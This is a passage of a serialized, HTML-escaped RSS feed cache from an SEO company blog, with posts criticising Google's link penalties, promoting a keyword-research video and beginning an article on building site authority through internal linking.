didn&amp;#8217;t opt in in the first place) based on Google&amp;#8217;s limitation on determining the value of the link graph (paid link, intentional link, unintenional link, etc.) is preposterous. It&amp;#8217;s not like anyone in their index ever received a request asking if it was ok to crawl your content and include it in their index?&lt;/p&gt;\n&lt;p&gt;Does CNN, New York Times, USA today or other massive authority sites add rel=”nofollow” tags to every outbound link or risk getting deindexed? No, they do not… Then why should you have to?&lt;/p&gt;\n&lt;p&gt;The fact is that websites with that extent of authority simply don’t need Google (because they already have an established brand) and users will go directly to their website instead of using Google as an intermediary (which is essentially all they are).&lt;/p&gt;\n&lt;p&gt;And how &lt;strong&gt;“relevant”&lt;/strong&gt; would Google be if a user typed in CNN in Google and couldn’t find CNN (or any large brand for that matter), which makes brands essentially immune to being banned from their search results.&lt;/p&gt;\n&lt;p&gt;Yet, for small businesses, entrepreneurs, affiliates and others forced to compete daily in search engines to funnel traffic to thrive and survive are constantly pummeled by the vague terms of service which essentially means you cannot promote your website (unless it’s done according to Google’s promotional policy).&lt;/p&gt;\n&lt;h3&gt;Google&amp;#8217;s Stance on Links is Dated&lt;/h3&gt;\n&lt;p&gt;Sorry, the last time I checked links were not exclusively designed to manipulate PageRank, &lt;strong&gt;links are just links&lt;/strong&gt;, the are simply how people move &lt;em&gt;from page to page and website to website&lt;/em&gt;. Just as freedom of speech exists, the freedom to link to &lt;strong&gt;who you like when you like&lt;/strong&gt; exists in the same vein.&lt;/p&gt;\n&lt;p&gt;The only difference (mind you) is intent and links are either designed to deliver visitors from Page A to Page B or to promote – it’s that simple. And&lt;strong&gt; people are going to promote their business by necessity in order to create a profit&lt;/strong&gt; so, I don’t see links going away any time soon, so, Google you will simply have to adapt (and stop penalizing webmasters) or they will simply move on to other traffic funnels.&lt;/p&gt;\n&lt;p&gt;The point I am making is, if Google were losing money due to their massive operation, do you think they would have the time, energy or resources to keep &lt;strong&gt;“shaking things up”&lt;/strong&gt; in the organic search results in the name of search quality?&lt;/p&gt;\n&lt;p&gt;Would they have time to ban countless advertisers (since they collectively are not worth the time to service compared to fortune 500 and up clientele)? – I think not.&lt;/p&gt;\n&lt;h3&gt;Is Google&amp;#8217; Greatest Fear Competition or Complacency?&lt;/h3&gt;\n&lt;p&gt;With Facebook (the social giant) and Apple (the mobile giant)  both considering entering the search engine space, Google could potentially have some SERIOUS competition ahead (unlike Yahoo or Bing) and which suggests that…&lt;/p&gt;\n&lt;p&gt;Google biggest fear is:&lt;/p&gt;\n&lt;p&gt;1)      They will become obsolete as the preferred organic search engine and lose their monopoly (and profit).&lt;/p&gt;\n&lt;p&gt;2)      Paid search will fail to deliver (since organic search is no longer “the cats meow” for disgruntled users) and the organic traffic base will diminish.&lt;/p&gt;\n&lt;p&gt;3)      The curve will change (which is the most likely) meaning that new technologies, platforms, methods and/or solutions will emerge and people will simply move on from typing keywords in to search engines and use alternative methods such as apps, HTML5 or other alternatives to have media or commerce delivered on demand.&lt;/p&gt;\n&lt;p&gt;The cycle of emerging innovation (from BBS, to directories, to search engines) followed by user adaptation which now borders on user complacency has already reached the point of consolidation.&lt;/p&gt;\n&lt;p&gt;This implies that the cycle is ripe for change and a new potential curve (such as &lt;a href=\&quot;http://www.apple.com/iphone/features/siri.html\&quot;&gt;Apples Siri&lt;/a&gt;) or other alternatives to search could make the previous achievement obsolete (e.g. pagers, cassette tapes, VCR’s, the Yellow Pages).&lt;/p&gt;\n&lt;p&gt;However, at the time (back in the day) few were looking past the phase of user complacency and would still be using Pagers, cassette tapes, VCR’s, etc. if new innovations and curves had not usurped them, now making them obsolete.&lt;/p&gt;\n&lt;p&gt;While most people didn’t know (or care) what a search engine was 10 years ago, fast forward 10 years and they may not even be able to remember.&lt;/p&gt;\n&lt;p&gt;Keep in mind, the market is fickle and here today gone tomorrow can happen faster with the acceleration of communication and new emerging technologies.&lt;/p&gt;\n&lt;h3&gt;The Take Away to Remeber&lt;/h3&gt;\n&lt;p&gt;1)      The very data in &lt;strong&gt;Google&amp;#8217;s index&lt;/strong&gt; that they attempt to police and enforce &lt;strong&gt;does not belong to them&lt;/strong&gt;, it belongs to the others (those who wrote it) and the web at large who are generous enough to share. Google does not create the content their index, you do and &lt;strong&gt;how you promote it&lt;/strong&gt; is up to you.&lt;/p&gt;\n&lt;p&gt;2)      The web is bigger than Google and you decide Google’s fate every time you search on their platform or choose another search engine you cast your vote. There are thousands of traffic funnels to drive visitors to your websites aside from search engines (investigate them for viability to your business).&lt;/p&gt;\n&lt;p&gt;3)      Google telling people to jump through hoops (in fear of a ranking penalty or removal from &lt;strong&gt;their index&lt;/strong&gt;) is a Pandora’s Box they should leave behind (or they might be left behind on the next emerging curve from those same banned/penalized users).&lt;/p&gt;\n&lt;p&gt;In closing,&lt;strong&gt; Google’s greatest fear is you not using them &lt;/strong&gt;and while their business model is brilliant, they&amp;#8217;re the most successful company in history to profit from (1) using content created from other websites via crawling and indexing technology (2) create a synergistic advertising model &lt;em&gt;as an accessory&lt;/em&gt; to their organic search results and (3)  getting paid to send traffic &lt;em&gt;away from their own site&lt;/em&gt; as an authoritative intermediary – this curve, put simply, has  its limitations, particularly, if any of the aforementioned metrics change, (such as Google having to ask permission to crawl your data).&lt;/p&gt;\n&lt;p&gt;Fortunately for us (based on previous experience), we know that consumers are fickle and at any time they could opt-out and frequent other websites which have more emotional, funcional or curb appeal than Google. Google started as one website and can potentially be reduced to that &lt;em&gt;if people choose not to use it&lt;/em&gt;.&lt;/p&gt;\n&lt;p&gt;This means you, the users hold the key to just how much power or control you wish to allow it to have over you or your business.&lt;/p&gt;\n&lt;p&gt;Feel free to share your thoughts below…&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=c3NjkKxSVOY:arivhTVcDC4:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/c3NjkKxSVOY\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:370:\&quot;With millions of business owners, webmasters and affiliates spending thousands of dollars on SEO and countless hours spent optimizing their websites (only to have Gogle organic search results shaken up or completely whisked away due to vaccilating shifts from new algorithm changes) is genuinely creating feelings of anger, frustration and disdain. As if running a [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;18\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:65:\&quot;http://www.seodesignsolutions.com/blog/seo/googles-greatest-fear/\&quot;;}s:7:\&quot;summary\&quot;;s:370:\&quot;With millions of business owners, webmasters and affiliates spending thousands of dollars on SEO and countless hours spent optimizing their websites (only to have Gogle organic search results shaken up or completely whisked away due to vaccilating shifts from new algorithm changes) is genuinely creating feelings of anger, frustration and disdain. As if running a [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:10808:\&quot;&lt;p&gt;With millions of business owners, webmasters and affiliates spending thousands of dollars on SEO and countless hours spent optimizing their websites (only to have Gogle organic search results &lt;strong&gt;shaken up or completely whisked away&lt;/strong&gt; due to vaccilating shifts from new &lt;a href=\&quot;http://searchengineland.com/google-confirms-panda-update-link-evaluation-local-search-rankings-113078\&quot;&gt;algorithm changes)&lt;/a&gt; is genuinely creating feelings of anger, frustration and disdain.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9113\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/googles-greatest-fear/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9113\&quot; title=\&quot;google-ignored\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/04/google-ignored.jpg\&quot; alt=\&quot;Google Greatest Fear\&quot; width=\&quot;400\&quot; height=\&quot;425\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Google’s greatest fear is you not using or needing to use Google...&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;As if running a business wasn&amp;#8217;t hard enough, business owners are now forced to deal with the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/the-rise-and-fall-of-rankings/\&quot;&gt;rise and fall of search engine results&lt;/a&gt; (knowing that at any time aside from ruthless competitors targeting their most coveted positions that a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/warning-search-engine-algorithm-changes-detected/\&quot;&gt;new algorithm change&lt;/a&gt; could come along and potentially &lt;em&gt;sweep all their progress under the rug) &lt;/em&gt;without warning.&lt;/p&gt;\n&lt;p&gt;The only solution is to either (1) conform or (2) diversify your traffic sources to become less dependent on any one source of visitors, however, most are either unwilling or unaware of their options, so they continue to run on the treadmill in hope of stability.&lt;/p&gt;\n&lt;p&gt;&lt;span id=\&quot;more-9114\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;For large or small businesses alike faced with overhead, cash flow and competition; conforming or overly depending on any one traffic source (Google) is not a viable solution for creating long-term stability.&lt;/p&gt;\n&lt;p&gt;Faced with violent shifts in rankings and either posting record profits or losses based on where you rank is a type of &lt;strong&gt;traffic-dependency&lt;/strong&gt;. That dependency can be weaned and replaced if those same business owners took their searches or paid search budget to other viable search engines and / or traffic sources to funnel traffic.&lt;/p&gt;\n&lt;p&gt;Objectively, it’s time to see things for what they really are; the fact that Google (not surprisingly) is a business model motivated by profits. Despite the &lt;strong&gt;“don’t be evil”&lt;/strong&gt; motto which once brandished a blind eye from most, with recent allegations of &lt;a href=\&quot;http://en.wikipedia.org/wiki/Criticism_of_Google\&quot;&gt;privacy concerns&lt;/a&gt;, changes in Adwords policies (which left thousands banned &lt;strong&gt;with no explanation&lt;/strong&gt;) and the constant organic search algorithm shuffle, at some point users will come to terms with this and act accordingly (and ignore Google).&lt;/p&gt;\n&lt;h3&gt;The Pervasive Threat of Google Penalties&lt;/h3&gt;\n&lt;p&gt;Recently Google informed untold numbers of webmasters that they were in &lt;a href=\&quot;http://next.inman.com/2012/04/google-evolves-are-you-ready/\&quot;&gt;violation of their terms of service&lt;/a&gt; for unnatural link activity. Needless to say, the fear of loss is a great motivator. When people are told to conform, most will to avoid going against the current of the status quo.&lt;/p&gt;\n&lt;p&gt;However, the audacity that webmasters should conform to a terms of service (considering they didn&amp;#8217;t opt in in the first place) based on Google&amp;#8217;s limitation on determining the value of the link graph (paid link, intentional link, unintenional link, etc.) is preposterous. It&amp;#8217;s not like anyone in their index ever received a request asking if it was ok to crawl your content and include it in their index?&lt;/p&gt;\n&lt;p&gt;Does CNN, New York Times, USA today or other massive authority sites add rel=”nofollow” tags to every outbound link or risk getting deindexed? No, they do not… Then why should you have to?&lt;/p&gt;\n&lt;p&gt;The fact is that websites with that extent of authority simply don’t need Google (because they already have an established brand) and users will go directly to their website instead of using Google as an intermediary (which is essentially all they are).&lt;/p&gt;\n&lt;p&gt;And how &lt;strong&gt;“relevant”&lt;/strong&gt; would Google be if a user typed in CNN in Google and couldn’t find CNN (or any large brand for that matter), which makes brands essentially immune to being banned from their search results.&lt;/p&gt;\n&lt;p&gt;Yet, for small businesses, entrepreneurs, affiliates and others forced to compete daily in search engines to funnel traffic to thrive and survive are constantly pummeled by the vague terms of service which essentially means you cannot promote your website (unless it’s done according to Google’s promotional policy).&lt;/p&gt;\n&lt;h3&gt;Google&amp;#8217;s Stance on Links is Dated&lt;/h3&gt;\n&lt;p&gt;Sorry, the last time I checked links were not exclusively designed to manipulate PageRank, &lt;strong&gt;links are just links&lt;/strong&gt;, the are simply how people move &lt;em&gt;from page to page and website to website&lt;/em&gt;. Just as freedom of speech exists, the freedom to link to &lt;strong&gt;who you like when you like&lt;/strong&gt; exists in the same vein.&lt;/p&gt;\n&lt;p&gt;The only difference (mind you) is intent and links are either designed to deliver visitors from Page A to Page B or to promote – it’s that simple. And&lt;strong&gt; people are going to promote their business by necessity in order to create a profit&lt;/strong&gt; so, I don’t see links going away any time soon, so, Google you will simply have to adapt (and stop penalizing webmasters) or they will simply move on to other traffic funnels.&lt;/p&gt;\n&lt;p&gt;The point I am making is, if Google were losing money due to their massive operation, do you think they would have the time, energy or resources to keep &lt;strong&gt;“shaking things up”&lt;/strong&gt; in the organic search results in the name of search quality?&lt;/p&gt;\n&lt;p&gt;Would they have time to ban countless advertisers (since they collectively are not worth the time to service compared to fortune 500 and up clientele)? – I think not.&lt;/p&gt;\n&lt;h3&gt;Is Google&amp;#8217; Greatest Fear Competition or Complacency?&lt;/h3&gt;\n&lt;p&gt;With Facebook (the social giant) and Apple (the mobile giant)  both considering entering the search engine space, Google could potentially have some SERIOUS competition ahead (unlike Yahoo or Bing) and which suggests that…&lt;/p&gt;\n&lt;p&gt;Google biggest fear is:&lt;/p&gt;\n&lt;p&gt;1)      They will become obsolete as the preferred organic search engine and lose their monopoly (and profit).&lt;/p&gt;\n&lt;p&gt;2)      Paid search will fail to deliver (since organic search is no longer “the cats meow” for disgruntled users) and the organic traffic base will diminish.&lt;/p&gt;\n&lt;p&gt;3)      The curve will change (which is the most likely) meaning that new technologies, platforms, methods and/or solutions will emerge and people will simply move on from typing keywords in to search engines and use alternative methods such as apps, HTML5 or other alternatives to have media or commerce delivered on demand.&lt;/p&gt;\n&lt;p&gt;The cycle of emerging innovation (from BBS, to directories, to search engines) followed by user adaptation which now borders on user complacency has already reached the point of consolidation.&lt;/p&gt;\n&lt;p&gt;This implies that the cycle is ripe for change and a new potential curve (such as &lt;a href=\&quot;http://www.apple.com/iphone/features/siri.html\&quot;&gt;Apples Siri&lt;/a&gt;) or other alternatives to search could make the previous achievement obsolete (e.g. pagers, cassette tapes, VCR’s, the Yellow Pages).&lt;/p&gt;\n&lt;p&gt;However, at the time (back in the day) few were looking past the phase of user complacency and would still be using Pagers, cassette tapes, VCR’s, etc. if new innovations and curves had not usurped them, now making them obsolete.&lt;/p&gt;\n&lt;p&gt;While most people didn’t know (or care) what a search engine was 10 years ago, fast forward 10 years and they may not even be able to remember.&lt;/p&gt;\n&lt;p&gt;Keep in mind, the market is fickle and here today gone tomorrow can happen faster with the acceleration of communication and new emerging technologies.&lt;/p&gt;\n&lt;h3&gt;The Take Away to Remeber&lt;/h3&gt;\n&lt;p&gt;1)      The very data in &lt;strong&gt;Google&amp;#8217;s index&lt;/strong&gt; that they attempt to police and enforce &lt;strong&gt;does not belong to them&lt;/strong&gt;, it belongs to the others (those who wrote it) and the web at large who are generous enough to share. Google does not create the content their index, you do and &lt;strong&gt;how you promote it&lt;/strong&gt; is up to you.&lt;/p&gt;\n&lt;p&gt;2)      The web is bigger than Google and you decide Google’s fate every time you search on their platform or choose another search engine you cast your vote. There are thousands of traffic funnels to drive visitors to your websites aside from search engines (investigate them for viability to your business).&lt;/p&gt;\n&lt;p&gt;3)      Google telling people to jump through hoops (in fear of a ranking penalty or removal from &lt;strong&gt;their index&lt;/strong&gt;) is a Pandora’s Box they should leave behind (or they might be left behind on the next emerging curve from those same banned/penalized users).&lt;/p&gt;\n&lt;p&gt;In closing,&lt;strong&gt; Google’s greatest fear is you not using them &lt;/strong&gt;and while their business model is brilliant, they&amp;#8217;re the most successful company in history to profit from (1) using content created from other websites via crawling and indexing technology (2) create a synergistic advertising model &lt;em&gt;as an accessory&lt;/em&gt; to their organic search results and (3)  getting paid to send traffic &lt;em&gt;away from their own site&lt;/em&gt; as an authoritative intermediary – this curve, put simply, has  its limitations, particularly, if any of the aforementioned metrics change, (such as Google having to ask permission to crawl your data).&lt;/p&gt;\n&lt;p&gt;Fortunately for us (based on previous experience), we know that consumers are fickle and at any time they could opt-out and frequent other websites which have more emotional, funcional or curb appeal than Google. Google started as one website and can potentially be reduced to that &lt;em&gt;if people choose not to use it&lt;/em&gt;.&lt;/p&gt;\n&lt;p&gt;This means you, the users hold the key to just how much power or control you wish to allow it to have over you or your business.&lt;/p&gt;\n&lt;p&gt;Feel free to share your thoughts below…&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=c3NjkKxSVOY:arivhTVcDC4:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/c3NjkKxSVOY\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:16;a:12:{s:5:\&quot;title\&quot;;s:58:\&quot;SEO Video: Qualifying Keywords Through Competitor Research\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/gvVzgFPausA/\&quot;;s:8:\&quot;category\&quot;;s:85:\&quot;SEO VideosCompetitor Keyword ResearchQualifying Keywords with competitor dataSEM Rush\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Mon, 20 Feb 2012 15:02:11 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9110\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:1306:\&quot;&lt;p&gt;Searching for quick competitor research methods to determine if a keyword is a worthy target for an SEO campaign? Watch this video and learn how to use your competitors to qualify which phrases are worthwhile using SEM Rush and other useful SEO tools.&lt;/p&gt;\n&lt;p&gt;&lt;object width=\&quot;480\&quot; height=\&quot;360\&quot;&gt;&lt;param name=\&quot;movie\&quot; value=\&quot;http://www.youtube.com/v/jIpEKnTG3Kc?version=3&amp;amp;hl=en_US\&quot;&gt;&lt;/param&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot;&gt;&lt;/param&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot;&gt;&lt;/param&gt;&lt;embed src=\&quot;http://www.youtube.com/v/jIpEKnTG3Kc?version=3&amp;amp;hl=en_US\&quot; type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;480\&quot; height=\&quot;360\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;Stay tuned for more SEO tips and tactics from SEO Design Solutions and the upcoming release of our new WP Ultimate Theme and WP Silo Builder plugin.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=gvVzgFPausA:LPoUpSys_TQ:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/gvVzgFPausA\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:324:\&quot;Searching for quick competitor research methods to determine if a keyword is a worthy target for an SEO campaign? Watch this video and learn how to use your competitors to qualify which phrases are worthwhile using SEM Rush and other useful SEO tools. Stay tuned for more SEO tips and tactics from SEO Design Solutions [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;5\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:108:\&quot;http://www.seodesignsolutions.com/blog/seo-videos/seo-video-qualifying-keywords-through-competitor-research/\&quot;;}s:7:\&quot;summary\&quot;;s:324:\&quot;Searching for quick competitor research methods to determine if a keyword is a worthy target for an SEO campaign? Watch this video and learn how to use your competitors to qualify which phrases are worthwhile using SEM Rush and other useful SEO tools. Stay tuned for more SEO tips and tactics from SEO Design Solutions [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:1306:\&quot;&lt;p&gt;Searching for quick competitor research methods to determine if a keyword is a worthy target for an SEO campaign? Watch this video and learn how to use your competitors to qualify which phrases are worthwhile using SEM Rush and other useful SEO tools.&lt;/p&gt;\n&lt;p&gt;&lt;object width=\&quot;480\&quot; height=\&quot;360\&quot;&gt;&lt;param name=\&quot;movie\&quot; value=\&quot;http://www.youtube.com/v/jIpEKnTG3Kc?version=3&amp;amp;hl=en_US\&quot;&gt;&lt;/param&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot;&gt;&lt;/param&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot;&gt;&lt;/param&gt;&lt;embed src=\&quot;http://www.youtube.com/v/jIpEKnTG3Kc?version=3&amp;amp;hl=en_US\&quot; type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;480\&quot; height=\&quot;360\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;Stay tuned for more SEO tips and tactics from SEO Design Solutions and the upcoming release of our new WP Ultimate Theme and WP Silo Builder plugin.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=gvVzgFPausA:LPoUpSys_TQ:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/gvVzgFPausA\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:17;a:12:{s:5:\&quot;title\&quot;;s:38:\&quot;Full-Bodied SEO: Looking Past Keywords\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/xSnyEisWj14/\&quot;;s:8:\&quot;category\&quot;;s:97:\&quot;Search Engine Optimizationdeveloping on page authorityDomain AuthoritySEOtranscending SEO metrics\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Wed, 15 Feb 2012 21:21:30 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9105\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:7333:\&quot;&lt;p&gt;Just like degusting a fine wine to appreciate its full-bodied flavor, don&amp;#8217;t omit the chronology that it’s &lt;strong&gt;the process of the grapes aging&lt;/strong&gt; combined with a semblance of subordinate processes that merge a plethora of complex layers into simplified notes to cultivate a delectable, yet exquisite fine wine. In parallel, SEO is quite similar.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9104\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/full-bodied-seo-looking-past-keywords/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9104\&quot; title=\&quot;seo-is-like-fine-wine\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/02/seo-is-like-fine-wine.jpg\&quot; alt=\&quot;\&quot; width=\&quot;400\&quot; height=\&quot;424\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Like a fine wine, authority occurs over time&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;While most blindly assume that SEO is about keywords (which is partially true), real SEO is involves grasping the underlying metrics and logic that search engines use to determine which websites are authoritative and which others are not.&lt;span id=\&quot;more-9105\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;The real goal of SEO is to create authority; and the faster you accomplish domain or page level authority for any website, the faster keyword conquests are realized and achieved. The extent of the authority of a website, determines how long (or short) a keyword conquest becomes.&lt;/p&gt;\n&lt;p&gt;If your website has exceeded the necessary tipping point (meaning it has enough &lt;a href=\&quot;http://www.miislita.com/information-retrieval-tutorial/cosine-similarity-tutorial.html\&quot;&gt;term weight&lt;/a&gt;, &lt;a href=\&quot;http://www.seoengine.com/link-flow.htm\&quot;&gt;link-flow&lt;/a&gt; from supporting anchor text and pages) and nests the proper on page signals, then that website is a candidate for occupying the top 1000 seed pages in Google’s index otherwise dubbed &amp;#8220;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-basics/seizing-the-seo-window-of-opportunity/\&quot;&gt;the authority set&lt;/a&gt;&amp;#8220;. In essence, the more weight the pages have, the more pages from that domain can be included as seeds in the organic search landscape.&lt;/p&gt;\n&lt;p&gt;While other pages are crawled, only the top 1000 matter and from those 1000 pages there are typically a handful of domains which are considered dominant within the scope of that topic.&lt;/p&gt;\n&lt;p&gt;Those websites are considered &lt;strong&gt;“the authority set”&lt;/strong&gt; and once any page from any website has reached the apex of a topic and breaches the authority set, it now becomes the model that Google and other search engines compare other pages to (to ascertain relevance, validity and rankings).&lt;/p&gt;\n&lt;p&gt;Your objective is to (a) model your data (b) site architecture (c) internal linking structures (d) backlinks and (e) navigation schema to reinforce the topical scope of a page for (1) the primary phrase (2) parallel themes or categories (3) synonyms and sibling themes and (4) adjacent pages which could benefit from the link-flow or page level / theme /authority of that page.&lt;/p&gt;\n&lt;p&gt;This in turn allows you to funnel PageRank, trust and authority to any area of your website with the ideal anchor text (at will) which makes your website less dependent on off-site linking structures to achieve &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/applied-seo-pivotal-seo-metrics/\&quot;&gt;buoyant ranking&lt;/a&gt; factor.&lt;/p&gt;\n&lt;p&gt;For example, we have built websites using this technique and created PR5 sites from brand new domain (which achieved first page results in 30-45 days time for competitive keywords up to 7,500,000 competing pages using less than 50 backlinks off-site.&lt;/p&gt;\n&lt;p&gt;Similarly, the 70+ of the 95 internal pages also sprouted page rank (PR3,PR4 and PR5) which in turn funneled that &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-tips-to-transfer-latent-ranking-factors/\&quot;&gt;ranking factor&lt;/a&gt; to other select pages creating an unparalleled &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/the-seo-tipping-point/\&quot;&gt;tipping point&lt;/a&gt; like a tube Taurus folding in on itself) to propel even more rankings as a result, which leads to my next point.&lt;/p&gt;\n&lt;p&gt;Rankings can be observed from two perspectives (similar to the haves and have nots) and while the ultimate goal or &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-tips-to-optimize-a-new-website/\&quot;&gt;optimizing your website&lt;/a&gt; stems from the desire to reach the top 3 spots (the traffic band) getting there is ultimately determined by how authoritative your page is and the website that supports it.&lt;/p&gt;\n&lt;p&gt;Allow me to elaborate.&lt;/p&gt;\n&lt;p&gt;Every page of your website (if optimal) represents an opportunity to rank that page and dozens more when combined with &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-best-practices-getting-started/\&quot;&gt;SEO best practices&lt;/a&gt;, such as:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Relevant meta data (for every page).&lt;/li&gt;\n&lt;li&gt;A mirrored keyword-rich &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-url-structure/\&quot;&gt;URL structure&lt;/a&gt; for the primary market and semantic focus of the page.&lt;/li&gt;\n&lt;li&gt;Proper H1 use to reflect the primary keyword&lt;/li&gt;\n&lt;li&gt;Sufficient inclusion of theme relevant keywords for the primary and secondary keyword shingles (groups of words).&lt;/li&gt;\n&lt;li&gt;Awareness of link-flow limitations (not having 100+links on a page via navigation and contextual areas to bleed ranking factor).&lt;/li&gt;\n&lt;li&gt;Use of optimal internal linking&lt;/li&gt;\n&lt;li&gt;Proper site architecture that reflects a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/website-silo-architecture-seo-siloing-simplified/\&quot;&gt;natural data hierarchy&lt;/a&gt; (with more competitive keywords higher up in the hierarchy and less competitive categories and mid-tail and long-tail keyword variations supporting the theme).&lt;/li&gt;\n&lt;li&gt;Proper grammar and conversion cues&lt;/li&gt;\n&lt;li&gt;The proper proportion of themed inbound links from qualified sources to the home page and deep links to various 